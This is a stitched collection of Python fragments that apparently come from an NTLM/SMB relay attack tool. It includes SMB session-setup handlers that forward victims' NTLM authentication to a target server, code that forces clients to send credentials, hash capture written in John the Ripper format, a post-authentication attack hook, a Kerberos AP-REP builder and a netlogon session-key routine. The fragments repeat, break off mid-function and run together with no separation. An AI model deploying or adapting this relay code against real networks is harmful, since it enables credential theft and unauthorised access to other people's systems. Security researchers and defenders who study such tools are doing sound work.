NTLM. # ToDo: Build this into a SPNEGO_NegTokenResp() respToken = '\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a' respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len(respToken) respSMBCommand['Buffer'] = respToken resp = SMB2Packet() resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR resp['Status'] = STATUS_SUCCESS resp['CreditRequestResponse'] = 1 resp['CreditCharge'] = recvPacket['CreditCharge'] resp['Command'] = recvPacket['Command'] resp['SessionID'] = 0 resp['Reserved'] = recvPacket['Reserved'] resp['MessageID'] = recvPacket['MessageID'] resp['TreeID'] = recvPacket['TreeID'] resp['Data'] = respSMBCommand self.__NBSession.send_packet(resp.getData()) recvPacket, smbCommand = self.getSMBPacket() return self.processSessionSetup(recvPacket) elif unpack('B', securityBlob[0])[0] == ASN1_SUPPORTED_MECH: # AUTH packet blob = SPNEGO_NegTokenResp(securityBlob) token = blob['ResponseToken'] else: # No GSSAPI stuff, raw NTLMSSP rawNTLM = True token = securityBlob # NEGOTIATE_MESSAGE # First of all, we should received a type 1 message. Let's answer it challengeMessage = self.sessionData['CHALLENGE_MESSAGE'] challengeMessage['flags'] &= ~(NTLMSSP_NEGOTIATE_SIGN) if rawNTLM is False: respToken = SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegResult'] = '\x01' respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = challengeMessage.getData() else: respToken = challengeMessage resp = SMB2Packet() resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR resp['Status'] = STATUS_MORE_PROCESSING_REQUIRED resp['CreditRequestResponse'] = 1 resp['CreditCharge'] = recvPacket['CreditCharge'] resp['Command'] = recvPacket['Command'] resp['SessionID'] = 0 resp['Reserved'] = recvPacket['Reserved'] resp['MessageID'] = recvPacket['MessageID'] resp['TreeID'] = recvPacket['TreeID'] respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len(respToken) respSMBCommand['Buffer'] = respToken.getData() resp['Data'] = respSMBCommand self.__NBSession.send_packet(resp.getData()) recvPacket, smbCommand = self.getSMBPacket() sessionSetupData = SMB2SessionSetup(recvPacket['Data']) securityBlob = sessionSetupData['Buffer'] blob = SPNEGO_NegTokenResp(securityBlob) token = blob['ResponseToken'] # AUTHENTICATE_MESSAGE, here we deal with authentication authenticateMessage = NTLMAuthChallengeResponse() authenticateMessage.fromString(token) try: username = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))).upper() except UnicodeDecodeError: # Not Unicode encoded? username = ('%s/%s' % (authenticateMessage['domain_name'], authenticateMessage['user_name'])).upper() respToken = SPNEGO_NegTokenResp() # Check if we have a connection for the user if self.activeRelays.has_key(username): LOG.info('SOCKS: Proxying client session for %s@%s(445)' % (username, self.targetHost)) errorCode = STATUS_SUCCESS smbClient = self.activeRelays[username]['protocolClient'].session uid = smbClient.getSMBServer()._Session['SessionID'] else: LOG.error('SOCKS: No session for %s@%s(445) available' % (username, self.targetHost)) errorCode = STATUS_ACCESS_DENIED uid = 0 smbClient = None # accept-completed respToken['NegResult'] = '\x00' resp = SMB2Packet() resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR resp['Status'] = errorCode resp['CreditRequestResponse'] = 1 resp['CreditCharge'] = recvPacket['CreditCharge'] resp['Command'] = recvPacket['Command'] resp['SessionID'] = uid resp['Reserved'] = recvPacket['Reserved'] resp['MessageID'] = recvPacket['MessageID'] resp['TreeID'] = recvPacket['TreeID'] respSMBCommand['SecurityBufferOffset'] = 0x48 # This is important for SAMBA client to work. If it is not set as a guest session, # SAMBA will *not* like the fact that the packets are not signed (even tho it was not enforced). respSMBCommand['SessionFlags'] = SMB2_SESSION_FLAG_IS_GUEST respSMBCommand['SecurityBufferLength'] = len(respToken) respSMBCommand['Buffer'] = respToken.getData() resp['Data'] = respSMBCommand self.__NBSession.send_packet(resp.getData()) return smbClient, username
# dump it packet.dump() # send it get the ID pid = low_level.sendSMB(packet) #recv the hash2 resp = low_level.recvSMB(pid) # we HAVE to set our session ID for later use, we can do that like so. low_level._Session['SessionID'] = resp['SessionID'] # hash2 into a structure for later use sessionSetupResponse = SMB2SessionSetup_Response(resp['Data']) respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer']) hash2 = NTLMAuthChallenge() hash2.fromString(respToken['ResponseToken']) # now if we wanted to access the 8byte challenge we could do this ;) hash2['challenge'] # also note that dump works as always hash2.dump() # the actual structure for formating the hash 3 that impacket uses is this NTLMAuthChallengeResponse hash3, seskey = getNTLMSSPType3(hash1, str(hash2), 'admin_account', 'simpleadmin', 'WORKGROUP') # If you want to use a nthash #from binascii import a2b_hex
encAPRepPart['subkey'].clear() encAPRepPart = encAPRepPart.clone() now = datetime.datetime.utcnow() encAPRepPart['cusec'] = now.microsecond encAPRepPart['ctime'] = KerberosTime.to_asn1(now) encAPRepPart['seq-number'] = sequenceNumber encodedAuthenticator = encoder.encode(encAPRepPart) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 12, encodedAuthenticator, None) ap_rep['enc-part'].clear() ap_rep['enc-part']['etype'] = cipher.enctype ap_rep['enc-part']['cipher'] = encryptedEncodedAuthenticator resp = SPNEGO_NegTokenResp() resp['ResponseToken'] = encoder.encode(ap_rep) return cipher, sessionKey2, resp.getData() def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT = None, TGS = None, targetName='', kdcHost = None, useCache = True): if TGT is None and TGS is None: if useCache is True: try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except Exception, e: # No cache present pass else: # retrieve user and domain information from CCache file if needed if username == '' and len(ccache.principal.components) > 0:
def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus=False) ############################################################# # SMBRelay smbData = smbServer.getConnectionData('SMBRelay', False) ############################################################# respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) if connData['_dialects_parameters'][ 'Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY: # Extended security. Here we deal with all SPNEGO stuff respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters( ) respData = smb.SMBSessionSetupAndX_Extended_Response_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters( SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data() sessionSetupData['SecurityBlobLength'] = sessionSetupParameters[ 'SecurityBlobLength'] sessionSetupData.fromString(SMBCommand['Data']) connData['Capabilities'] = sessionSetupParameters['Capabilities'] if struct.unpack( 'B', sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID: # If there no GSSAPI ID, it must be an AUTH packet blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) token = blob['ResponseToken'] else: # NEGOTIATE packet blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) token = blob['MechToken'] # Here we only handle NTLMSSP, depending on what stage of the # authentication we are, we act on it messageType = struct.unpack( '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0] if messageType == 0x01: # NEGOTIATE_MESSAGE negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) # Let's store it in the connection data connData['NEGOTIATE_MESSAGE'] = negotiateMessage ############################################################# # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. # Let's send it to the target server and send the answer back to the client. client = smbData[self.target]['SMBClient'] challengeMessage = self.do_ntlm_negotiate(client, token) ############################################################# respToken = SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegResult'] = '\x01' respToken['SupportedMech'] = TypesMech[ 'NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = str(challengeMessage) # Setting the packet to STATUS_MORE_PROCESSING errorCode = STATUS_MORE_PROCESSING_REQUIRED # Let's set up an UID for this connection and store it # in the connection's data # Picking a fixed value # TODO: Manage more UIDs for the same session connData['Uid'] = 10 # Let's store it in the connection data connData['CHALLENGE_MESSAGE'] = challengeMessage elif messageType == 0x03: # AUTHENTICATE_MESSAGE, here we deal with authentication ############################################################# # SMBRelay: Ok, so now the have the Auth token, let's send it # back to the target system and hope for the best. client = smbData[self.target]['SMBClient'] authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) if authenticateMessage['user_name'] != '': #For some attacks it is important to know the authenticated username, so we store it connData['AUTHUSER'] = authenticateMessage['user_name'] self.authUser = connData['AUTHUSER'] clientResponse, errorCode = self.do_ntlm_auth( client, sessionSetupData['SecurityBlob'], connData['CHALLENGE_MESSAGE']['challenge']) #clientResponse, errorCode = smbClient.sendAuth(sessionSetupData['SecurityBlob'],connData['CHALLENGE_MESSAGE']['challenge']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = smb.NewSMBPacket() packet[ 'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS packet[ 'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = '\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff # Reset the UID if self.target[0] == 'SMB': client.setUid(0) logging.error( "Authenticating against %s as %s\%s FAILED" % (self.target, authenticateMessage['domain_name'], authenticateMessage['user_name'])) #Log this target as processed for this client self.targetprocessor.log_target(connData['ClientIP'], self.target) #del (smbData[self.target]) return None, [packet], errorCode else: # We have a session, create a thread and do whatever we want logging.info( "Authenticating against %s as %s\%s SUCCEED" % (self.target, authenticateMessage['domain_name'], authenticateMessage['user_name'])) #Log this target as processed for this client self.targetprocessor.log_target(connData['ClientIP'], self.target) ntlm_hash_data = outputToJohnFormat( connData['CHALLENGE_MESSAGE']['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm']) logging.info(ntlm_hash_data['hash_string']) if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) del (smbData[self.target]) self.do_attack(client) # Now continue with the server ############################################################# respToken = SPNEGO_NegTokenResp() # accept-completed respToken['NegResult'] = '\x00' # Status SUCCESS errorCode = STATUS_SUCCESS # Let's store it in the connection data connData['AUTHENTICATE_MESSAGE'] = authenticateMessage else: raise Exception("Unknown NTLMSSP MessageType %d" % messageType) respParameters['SecurityBlobLength'] = len(respToken) respData['SecurityBlobLength'] = respParameters[ 'SecurityBlobLength'] respData['SecurityBlob'] = respToken.getData() else: # Process Standard Security #TODO: Fix this for other protocols than SMB [!] respParameters = smb.SMBSessionSetupAndXResponse_Parameters() respData = smb.SMBSessionSetupAndXResponse_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters( SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Data() sessionSetupData['AnsiPwdLength'] = sessionSetupParameters[ 'AnsiPwdLength'] sessionSetupData['UnicodePwdLength'] = sessionSetupParameters[ 'UnicodePwdLength'] sessionSetupData.fromString(SMBCommand['Data']) connData['Capabilities'] = sessionSetupParameters['Capabilities'] ############################################################# # SMBRelay smbClient = smbData[self.target]['SMBClient'] if sessionSetupData['Account'] != '': #TODO: Fix this for other protocols than SMB [!] clientResponse, errorCode = smbClient.login_standard( sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = smb.NewSMBPacket() packet[ 'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS packet[ 'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = '\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff # Reset the UID smbClient.setUid(0) #Log this target as processed for this client self.targetprocessor.log_target(connData['ClientIP'], self.target) return None, [packet], errorCode # Now continue with the server else: # We have a session, create a thread and do whatever we want ntlm_hash_data = outputToJohnFormat( '', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) logging.info(ntlm_hash_data['hash_string']) if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) #TODO: Fix this for other protocols than SMB [!] clientThread = self.config.attacks['SMB'](self.config, smbClient, self.config.exeFile, self.config.command) clientThread.start() #Log this target as processed for this client self.targetprocessor.log_target(connData['ClientIP'], self.target) # Remove the target server from our connection list, the work is done del (smbData[self.target]) # Now continue with the server ############################################################# # Do the verification here, for just now we grant access # TODO: Manage more UIDs for the same session errorCode = STATUS_SUCCESS connData['Uid'] = 10 respParameters['Action'] = 0 respData['NativeOS'] = smbServer.getServerOS() respData['NativeLanMan'] = smbServer.getServerOS() respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData # From now on, the client can ask for other commands connData['Authenticated'] = True ############################################################# # SMBRelay smbServer.setConnectionData('SMBRelay', smbData) ############################################################# smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode
encAPRepPart = encAPRepPart.clone() now = datetime.datetime.utcnow() encAPRepPart['cusec'] = now.microsecond encAPRepPart['ctime'] = KerberosTime.to_asn1(now) encAPRepPart['seq-number'] = sequenceNumber encodedAuthenticator = encoder.encode(encAPRepPart) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 12, encodedAuthenticator, None) ap_rep['enc-part'].clear() ap_rep['enc-part']['etype'] = cipher.enctype ap_rep['enc-part']['cipher'] = encryptedEncodedAuthenticator resp = SPNEGO_NegTokenResp() resp['ResponseToken'] = encoder.encode(ap_rep) return cipher, sessionKey2, resp.getData() def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT=None, TGS=None, targetName='', kdcHost=None,
def SmbSessionSetup(self, connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus = False) ############################################################# # SMBRelay smbData = smbServer.getConnectionData('SMBRelay', False) ############################################################# respSMBCommand = smb3.SMB2SessionSetup_Response() sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data']) connData['Capabilities'] = sessionSetupData['Capabilities'] securityBlob = sessionSetupData['Buffer'] rawNTLM = False if struct.unpack('B',securityBlob[0])[0] == ASN1_AID: # NEGOTIATE packet blob = SPNEGO_NegTokenInit(securityBlob) token = blob['MechToken'] if len(blob['MechTypes'][0]) > 0: # Is this GSSAPI NTLM or something else we don't support? mechType = blob['MechTypes'][0] if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \ mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']: # Nope, do we know it? if mechType in MechTypes: mechStr = MechTypes[mechType] else: mechStr = hexlify(mechType) smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL) # We don't know the token, we answer back again saying # we just support NTLM. # ToDo: Build this into a SPNEGO_NegTokenResp() respToken = '\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a' respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len(respToken) respSMBCommand['Buffer'] = respToken return [respSMBCommand], None, STATUS_MORE_PROCESSING_REQUIRED elif struct.unpack('B',securityBlob[0])[0] == ASN1_SUPPORTED_MECH: # AUTH packet blob = SPNEGO_NegTokenResp(securityBlob) token = blob['ResponseToken'] else: # No GSSAPI stuff, raw NTLMSSP rawNTLM = True token = securityBlob # Here we only handle NTLMSSP, depending on what stage of the # authentication we are, we act on it messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0] if messageType == 0x01: # NEGOTIATE_MESSAGE negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) # Let's store it in the connection data connData['NEGOTIATE_MESSAGE'] = negotiateMessage ############################################################# # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. # Let's send it to the target server and send the answer back to the client. client = smbData[self.target]['SMBClient'] try: challengeMessage = self.do_ntlm_negotiate(client, token) except Exception as e: # Log this target as processed for this client self.targetprocessor.logTarget(self.target) # Raise exception again to pass it on to the SMB server raise ############################################################# if rawNTLM is False: respToken = SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegResult'] = '\x01' respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = challengeMessage.getData() else: respToken = challengeMessage # Setting the packet to STATUS_MORE_PROCESSING errorCode = STATUS_MORE_PROCESSING_REQUIRED # Let's set up an UID for this connection and store it # in the connection's data connData['Uid'] = random.randint(1,0xffffffff) connData['CHALLENGE_MESSAGE'] = challengeMessage elif messageType == 0x02: # CHALLENGE_MESSAGE raise Exception('Challenge Message raise, not implemented!') elif messageType == 0x03: # AUTHENTICATE_MESSAGE, here we deal with authentication ############################################################# # SMBRelay: Ok, so now the have the Auth token, let's send it # back to the target system and hope for the best. client = smbData[self.target]['SMBClient'] authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) if authenticateMessage['user_name'] != '': # For some attacks it is important to know the authenticated username, so we store it self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))).upper() if rawNTLM is True: respToken2 = SPNEGO_NegTokenResp() respToken2['ResponseToken'] = str(securityBlob) securityBlob = respToken2.getData() clientResponse, errorCode = self.do_ntlm_auth(client, securityBlob, connData['CHALLENGE_MESSAGE']['challenge']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS: #Log this target as processed for this client self.targetprocessor.logTarget(self.target) LOG.error("Authenticating against %s://%s as %s\%s FAILED" % ( self.target.scheme, self.target.netloc, authenticateMessage['domain_name'], authenticateMessage['user_name'])) client.killConnection() else: # We have a session, create a thread and do whatever we want LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" % ( self.target.scheme, self.target.netloc, authenticateMessage['domain_name'], authenticateMessage['user_name'])) # Log this target as processed for this client self.targetprocessor.logTarget(self.target, True) ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm']) client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) del (smbData[self.target]) connData['Authenticated'] = True self.do_attack(client) # Now continue with the server ############################################################# respToken = SPNEGO_NegTokenResp() # accept-completed respToken['NegResult'] = '\x00' # Let's store it in the connection data connData['AUTHENTICATE_MESSAGE'] = authenticateMessage else: raise Exception("Unknown NTLMSSP MessageType %d" % messageType) respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len(respToken) respSMBCommand['Buffer'] = respToken.getData() smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode
def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus = False) ############################################################# # SMBRelay smbData = smbServer.getConnectionData('SMBRelay', False) ############################################################# respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) if connData['_dialects_parameters']['Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY: # Extended security. Here we deal with all SPNEGO stuff respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters() respData = smb.SMBSessionSetupAndX_Extended_Response_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data() sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength'] sessionSetupData.fromString(SMBCommand['Data']) connData['Capabilities'] = sessionSetupParameters['Capabilities'] if struct.unpack('B',sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID: # If there no GSSAPI ID, it must be an AUTH packet blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) token = blob['ResponseToken'] else: # NEGOTIATE packet blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) token = blob['MechToken'] # Here we only handle NTLMSSP, depending on what stage of the # authentication we are, we act on it messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0] if messageType == 0x01: # NEGOTIATE_MESSAGE negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) # Let's store it in the connection data connData['NEGOTIATE_MESSAGE'] = negotiateMessage ############################################################# # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. # Let's send it to the target server and send the answer back to the client. client = smbData[self.target]['SMBClient'] try: challengeMessage = self.do_ntlm_negotiate(client,token) except Exception as e: # Log this target as processed for this client self.targetprocessor.logTarget(self.target) # Raise exception again to pass it on to the SMB server raise ############################################################# respToken = SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegResult'] = '\x01' respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = str(challengeMessage) # Setting the packet to STATUS_MORE_PROCESSING errorCode = STATUS_MORE_PROCESSING_REQUIRED # Let's set up an UID for this connection and store it # in the connection's data # Picking a fixed value # TODO: Manage more UIDs for the same session connData['Uid'] = 10 connData['CHALLENGE_MESSAGE'] = challengeMessage elif messageType == 0x03: # AUTHENTICATE_MESSAGE, here we deal with authentication ############################################################# # SMBRelay: Ok, so now the have the Auth token, let's send it # back to the target system and hope for the best. client = smbData[self.target]['SMBClient'] authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) if authenticateMessage['user_name'] != '': #For some attacks it is important to know the authenticated username, so we store it self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))).upper() clientResponse, errorCode = self.do_ntlm_auth(client,sessionSetupData['SecurityBlob'], connData['CHALLENGE_MESSAGE']['challenge']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = smb.NewSMBPacket() packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = '\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff LOG.error("Authenticating against %s://%s as %s\%s FAILED" % ( self.target.scheme, self.target.netloc, authenticateMessage['domain_name'], authenticateMessage['user_name'])) #Log this target as processed for this client self.targetprocessor.logTarget(self.target) client.killConnection() return None, [packet], errorCode else: # We have a session, create a thread and do whatever we want LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" % ( self.target.scheme, self.target.netloc, authenticateMessage['domain_name'], authenticateMessage['user_name'])) # Log this target as processed for this client self.targetprocessor.logTarget(self.target, True) ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm']) client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) del (smbData[self.target]) self.do_attack(client) # Now continue with the server ############################################################# respToken = SPNEGO_NegTokenResp() # accept-completed respToken['NegResult'] = '\x00' # Status SUCCESS errorCode = STATUS_SUCCESS # Let's store it in the connection data connData['AUTHENTICATE_MESSAGE'] = authenticateMessage else: raise Exception("Unknown NTLMSSP MessageType %d" % messageType) respParameters['SecurityBlobLength'] = len(respToken) respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] respData['SecurityBlob'] = respToken.getData() else: # Process Standard Security #TODO: Fix this for other protocols than SMB [!] respParameters = smb.SMBSessionSetupAndXResponse_Parameters() respData = smb.SMBSessionSetupAndXResponse_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Data() sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength'] sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength'] sessionSetupData.fromString(SMBCommand['Data']) client = smbData[self.target]['SMBClient'] _, errorCode = client.sendStandardSecurityAuth(sessionSetupData) if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = smb.NewSMBPacket() packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = '\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff #Log this target as processed for this client self.targetprocessor.logTarget(self.target) # Finish client's connection #client.killConnection() return None, [packet], errorCode else: # We have a session, create a thread and do whatever we want LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" % ( self.target.scheme, self.target.netloc, sessionSetupData['PrimaryDomain'], sessionSetupData['Account'])) self.authUser = ('%s/%s' % (sessionSetupData['PrimaryDomain'], sessionSetupData['Account'])).upper() # Log this target as processed for this client self.targetprocessor.logTarget(self.target, True) ntlm_hash_data = outputToJohnFormat('', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) del (smbData[self.target]) self.do_attack(client) # Now continue with the server ############################################################# respData['NativeOS'] = smbServer.getServerOS() respData['NativeLanMan'] = smbServer.getServerOS() respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData # From now on, the client can ask for other commands connData['Authenticated'] = True ############################################################# # SMBRelay smbServer.setConnectionData('SMBRelay', smbData) ############################################################# smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode
def netlogonSessionKey(self, authenticateMessageBlob): # Here we will use netlogon to get the signing session key logging.info("Connecting to %s NETLOGON service" % self.serverConfig.domainIp) respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) authenticateMessage = NTLMAuthChallengeResponse() authenticateMessage.fromString(respToken2['ResponseToken']) _, machineAccount = self.serverConfig.machineAccount.split('/') domainName = authenticateMessage['domain_name'].decode('utf-16le') try: serverName = machineAccount[:len(machineAccount) - 1] except: # We're in NTLMv1, not supported return STATUS_ACCESS_DENIED stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.serverConfig.domainIp rpctransport = transport.DCERPCTransportFactory(stringBinding) if len(self.serverConfig.machineHashes) > 0: lmhash, nthash = self.serverConfig.machineHashes.split(':') else: lmhash = '' nthash = '' if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(machineAccount, '', domainName, lmhash, nthash) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(nrpc.MSRPC_UUID_NRPC) resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName + '\x00', b'12345678') serverChallenge = resp['ServerChallenge'] if self.serverConfig.machineHashes == '': ntHash = None else: ntHash = unhexlify(self.serverConfig.machineHashes.split(':')[1]) sessionKey = nrpc.ComputeSessionKeyStrongKey('', b'12345678', serverChallenge, ntHash) ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey) nrpc.hNetrServerAuthenticate3( dce, NULL, machineAccount + '\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00', ppp, 0x600FFFFF) clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10) # Now let's try to verify the security blob against the PDC request = nrpc.NetrLogonSamLogonWithFlags() 